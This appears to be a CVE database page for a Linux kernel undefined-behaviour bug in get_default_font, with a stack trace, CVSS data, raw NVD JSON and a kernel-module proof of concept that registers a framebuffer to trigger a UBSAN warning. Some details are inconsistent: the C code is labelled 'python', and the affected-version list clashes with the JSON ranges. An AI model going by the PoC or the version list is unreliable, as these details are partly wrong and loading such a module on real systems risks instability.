CVE-2022-50511

Description

In the Linux kernel, the following vulnerability has been resolved: lib/fonts: fix undefined behavior in bit shift for get_default_font Shifting signed 32-bit value by 31 bits is undefined, so changing significant bit to unsigned. The UBSAN warning calltrace like below: UBSAN: shift-out-of-bounds in lib/fonts/fonts.c:139:20 left shift of 1 by 31 places cannot be represented in type 'int' <TASK> dump_stack_lvl+0x7d/0xa5 dump_stack+0x15/0x1b ubsan_epilogue+0xe/0x4e __ubsan_handle_shift_out_of_bounds+0x1e7/0x20c get_default_font+0x1c7/0x1f0 fbcon_startup+0x347/0x3a0 do_take_over_console+0xce/0x270 do_fbcon_takeover+0xa1/0x170 do_fb_registered+0x2a8/0x340 fbcon_fb_registered+0x47/0xe0 register_framebuffer+0x294/0x4a0 __drm_fb_helper_initial_config_and_unlock+0x43c/0x880 [drm_kms_helper] drm_fb_helper_initial_config+0x52/0x80 [drm_kms_helper] drm_fbdev_client_hotplug+0x156/0x1b0 [drm_kms_helper] drm_fbdev_generic_setup+0xfc/0x290 [drm_kms_helper] bochs_pci_probe+0x6ca/0x772 [bochs] local_pci_probe+0x4d/0xb0 pci_device_probe+0x119/0x320 really_probe+0x181/0x550 __driver_probe_device+0xc6/0x220 driver_probe_device+0x32/0x100 __driver_attach+0x195/0x200 bus_for_each_dev+0xbb/0x120 driver_attach+0x27/0x30 bus_add_driver+0x22e/0x2f0 driver_register+0xa9/0x190 __pci_register_driver+0x90/0xa0 bochs_pci_driver_init+0x52/0x1000 [bochs] do_one_initcall+0x76/0x430 do_init_module+0x61/0x28a load_module+0x1f82/0x2e50 __do_sys_finit_module+0xf8/0x190 __x64_sys_finit_module+0x23/0x30 do_syscall_64+0x58/0x80 entry_SYSCALL_64_after_hwframe+0x63/0xcd </TASK>

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 5.16（多个稳定版本受影响）

Linux Kernel 5.15.x 系列

Linux Kernel 5.10.x LTS 系列

Linux Kernel 5.4.x LTS 系列

Linux Kernel 4.19.x LTS 系列

Linux Kernel 4.14.x LTS 系列

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC: Triggering CVE-2022-50511 via bochs display driver loading
// This PoC demonstrates how to trigger the undefined behavior in get_default_font
// by loading the bochs PCI display driver, which initializes the framebuffer console.

// Method 1: Load bochs driver module (requires QEMU/KVM with bochs display)
// Run as root or with appropriate privileges:
// modprobe bochs_drm

// Method 2: Trigger via QEMU virtual machine boot with bochs display
// qemu-system-x86_64 -vga std -display none

// Method 3: Kernel module to trigger framebuffer registration
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fb.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Security Researcher");
MODULE_DESCRIPTION("PoC for CVE-2022-50511");

static int __init cve_2022_50511_init(void)
{
    // Register a framebuffer device to trigger fbcon initialization
    // This will eventually call get_default_font() and trigger
    // the undefined behavior in bit shift operation
    struct fb_info *info;
    int ret;

    info = framebuffer_alloc(0, NULL);
    if (!info)
        return -ENOMEM;

    // Set minimal info to allow registration
    info->var.xres = 640;
    info->var.yres = 480;
    info->var.bits_per_pixel = 32;
    info->fix.line_length = 640 * 4;
    info->fix.smem_len = 640 * 480 * 4;
    info->screen_base = (void __iomem *)get_zeroed_page(GFP_KERNEL);
    info->screen_size = info->fix.smem_len;

    ret = register_framebuffer(info);
    if (ret < 0) {
        framebuffer_release(info);
        return ret;
    }

    printk(KERN_INFO "CVE-2022-50511 PoC: Framebuffer registered\n");
    return 0;
}

static void __exit cve_2022_50511_exit(void)
{
    printk(KERN_INFO "CVE-2022-50511 PoC: Unloaded\n");
}

module_init(cve_2022_50511_init);
module_exit(cve_2022_50511_exit);

// Build: Makefile
// obj-m += cve_2022_50511.o
// Build and load:
// make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
// insmod cve_2022_50511.ko
// Check dmesg for UBSAN warnings

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2022-50511
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2022-50511
[3] CVE Details https://www.cvedetails.com/cve/CVE-2022-50511/
[4] VulDB https://vuldb.com/cve/CVE-2022-50511
[5] https://git.kernel.org/stable/c/6fe888c4d2fb174408e4540bb2d5602b9f507f90
[6] https://git.kernel.org/stable/c/890d91b31f4874361e0df047f57d268a7021cb12
[7] https://git.kernel.org/stable/c/9c14a85e18a58c102ec223144b7edb5b345c1bea
[8] https://git.kernel.org/stable/c/c9a9aa02f0fa3318e0ae5774f404419a1b4759ca
[9] https://git.kernel.org/stable/c/e039929e36818507e90901edae87f6fa8bc81093
[10] https://git.kernel.org/stable/c/e83b47580a0738361772d6f24286adfdaba57e36

Raw JSON Data

JSON

{"cve": {"id": "CVE-2022-50511", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:34.337", "lastModified": "2026-03-17T14:06:31.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nlib/fonts: fix undefined behavior in bit shift for get_default_font\n\nShifting signed 32-bit value by 31 bits is undefined, so changing\nsignificant bit to unsigned. The UBSAN warning calltrace like below:\n\nUBSAN: shift-out-of-bounds in lib/fonts/fonts.c:139:20\nleft shift of 1 by 31 places cannot be represented in type 'int'\n <TASK>\n dump_stack_lvl+0x7d/0xa5\n dump_stack+0x15/0x1b\n ubsan_epilogue+0xe/0x4e\n __ubsan_handle_shift_out_of_bounds+0x1e7/0x20c\n get_default_font+0x1c7/0x1f0\n fbcon_startup+0x347/0x3a0\n do_take_over_console+0xce/0x270\n do_fbcon_takeover+0xa1/0x170\n do_fb_registered+0x2a8/0x340\n fbcon_fb_registered+0x47/0xe0\n register_framebuffer+0x294/0x4a0\n __drm_fb_helper_initial_config_and_unlock+0x43c/0x880 [drm_kms_helper]\n drm_fb_helper_initial_config+0x52/0x80 [drm_kms_helper]\n drm_fbdev_client_hotplug+0x156/0x1b0 [drm_kms_helper]\n drm_fbdev_generic_setup+0xfc/0x290 [drm_kms_helper]\n bochs_pci_probe+0x6ca/0x772 [bochs]\n local_pci_probe+0x4d/0xb0\n pci_device_probe+0x119/0x320\n really_probe+0x181/0x550\n __driver_probe_device+0xc6/0x220\n driver_probe_device+0x32/0x100\n __driver_attach+0x195/0x200\n bus_for_each_dev+0xbb/0x120\n driver_attach+0x27/0x30\n bus_add_driver+0x22e/0x2f0\n driver_register+0xa9/0x190\n __pci_register_driver+0x90/0xa0\n bochs_pci_driver_init+0x52/0x1000 [bochs]\n do_one_initcall+0x76/0x430\n do_init_module+0x61/0x28a\n load_module+0x1f82/0x2e50\n __do_sys_finit_module+0xf8/0x190\n __x64_sys_finit_module+0x23/0x30\n do_syscall_64+0x58/0x80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n </TASK>"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.23.1", "versionEndExcluding": "5.4.229", "matchCriteriaId": "09DC411B-ABB2-47ED-8534-FF3102B7F0AE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.163", "matchCriteriaId": "D05D31FC-BD74-4F9E-B1D8-9CED62BE6F65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.86", "matchCriteriaId": "47237296-55D1-4ED4-8075-D00FC85A61EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.16", "matchCriteriaId": "C720A569-3D93-4D77-95F6-E2B3A3267D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.23:-:*:*:*:*:*:*", "matchCriteriaId": "23283997-5446-4B11-8C13-C668D66EC888"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.23:rc2:*:*:*:*:*:*", "matchCriteriaId": "8D42BA44-C69B-4170-9867-CABF93CA9BD6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.23:rc3:*:*:*:*:*:*", "matchCriteriaId": "B6BCD075-9FCE-496C-9807-3A13998129B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.23:rc4:*:*:*:*:*:*", "matchCriteriaId": "460BC48C-1598-4739-A64B-A2350BC6BD28"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.23:rc5:*:*:*:*:*:*", "matchCriteriaId": "7700AB42-8543-4FA5-9BAF-EF2F126E9375"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.23:rc6:*:*:*:*:*:*", "matchCriteriaId": "B8C31F2D-385F-46CF-8F04-61157EE35013"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.23:rc7:*:*:*:*:*:*", "matchCriteriaId": "3588EB36-674F-49FB-A51C-0B52F8BFD9D4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.23:rc8:*:*:*:*:*:*", "matchCriteriaId": "3C93A9E4-08DA-44D2-B6D9-76BD287FA5DC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.23:rc9:*:*:*:*:*:*", "matchCriteriaId": "C5575728-D466-4CC9-95BA-8CA433D19566"}]}]}], "references": [{"url": "h ... (truncated)